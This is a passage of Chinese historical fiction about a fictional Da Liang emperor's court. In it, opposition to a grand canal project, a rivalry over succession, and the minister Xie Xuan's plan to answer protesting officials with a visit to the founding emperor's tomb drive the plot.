“运河一事确实不是一年或一代人能够完成的,但他心底对大梁没有底气,万一中途大梁被篡位了呢?万一边境部族因为大梁国库空虚趁机而入伤我朝子民呢?万一后世君王并不想继续建造中途罢工呢。” “可他没看懂陛下的用心,秦国奋六世余烈方有一统天下的资格,一代人有一代人的使命,陛下能够在开疆扩土的同时奋力修建运河,那就已经做好了接受后世骂名的准备,全然是想让下一任君主将大梁的疆土开拓得更远。” 程侍郎居于朝堂,虽没有站队任何一方,但他隐隐知晓,当今的皇帝,绝非等闲。 他的野心也远不及今日的盛世。 昔年太祖皇帝舍弃自己的两个儿子,转而把太宗立为皇太弟,一是因为主少国疑,幼儿难托,二也是因为兄弟胸怀天下,有雄心壮志。 事实证明太祖皇帝是对的,太宗一脉不仅子嗣繁多,且后世君王在政事上从未停歇,从中原征伐,如今已将边境大小七个部族收归于大梁,开创了盛世景象。 而如今又是同样的抉择。 儿子和侄子,仁心和雄心。 朝熙殿中,皇帝看完一堆奏折,恰巧谢铉前来汇报兵务。 “朕一再决心修建渠周运河,便有这么多奏折等着,食君之禄,忠君之事,他们就是这般做的,专和朕唱反调。”皇帝咬牙切齿道,可见是被烦的厉害了。 谢铉淡淡笑着,并未顺着皇帝的话折骂。 所有人都说,皇帝召他回京,是因为太子身体羸弱,不堪大任,让他在京城以备万一。 他一开始也是这样觉得。 可经过这几个月的观察,他倒觉得,皇帝真正的目的,在于掣肘何家。 昔年大长公主扶持势弱的侄子上位,为的是她公主府的荣耀,数百门生受昭阳大长公主举荐,进入朝堂之中,皇帝旁观之外,利用何家后戚的身份,一步步蚕食大长公主的势力。 大长公主逐渐年迈,儿女皆不成器,以何家为首的政党势力逐步强大,甚至太子,也因何家的恩情屡次破例。 谢铉在,他们把谢铉当成眼中钉肉中刺,时刻想要捉住他的把柄,一举歼灭。 谢铉不在,他们的目标会是谁,不言而喻。 “陛下,臣以为,所谓忠臣,旨在谋国而非顺旨,朝臣们谏言的漕运利弊、民力损耗并非空穴来风,并不可单纯判断其是否忠贞。” “你说得对,可惜这些个忠臣,如今却一概上书忤逆朕,你说这些蠢人该不该罚?” 皇帝问出这话,心底也并不是非要罚这些人。 但若任由他们天天浪费文墨,净写些没用的东西彰显自己爱民如子,皇帝还是有些怨气的。 谢铉思绪片刻,忽然笑道:“陛下若真不想看,臣倒是有一计策。” “这段时日,臣听闻有几位被陛下贬谪了的朝臣去太祖陵前哭告。” 皇帝半是生气,半是无奈:“他们一个个嚷得朕头疼,所以挑了几个刺头儿打了板子,就这点子事,竟然要到太祖陵前哭诉,简直是把朕置于不孝不仁的境地。” 谢铉知道,皇帝并未真正动怒。 哭陵一事历朝历代皆有,非独存本朝。 “他们可做此举,陛下为何不可?” 谢铉撩开长袍,跪在地上道:“那些个朝臣跑去哭诉,不正是觉得太祖英灵在上,能为他们做主,让陛下不得不停手吗?既如此,陛下何不也去太祖陵前问问此事可否,若是太祖也同意陛下所举,他们就算再反对,也只能自吞苦果。” 皇帝抬眼,眸里已没了方才的沉郁,添了几分兴味:“你这是教朕耍无赖?” 谢铉笑:“臣是用他们的法子,破他们的局。”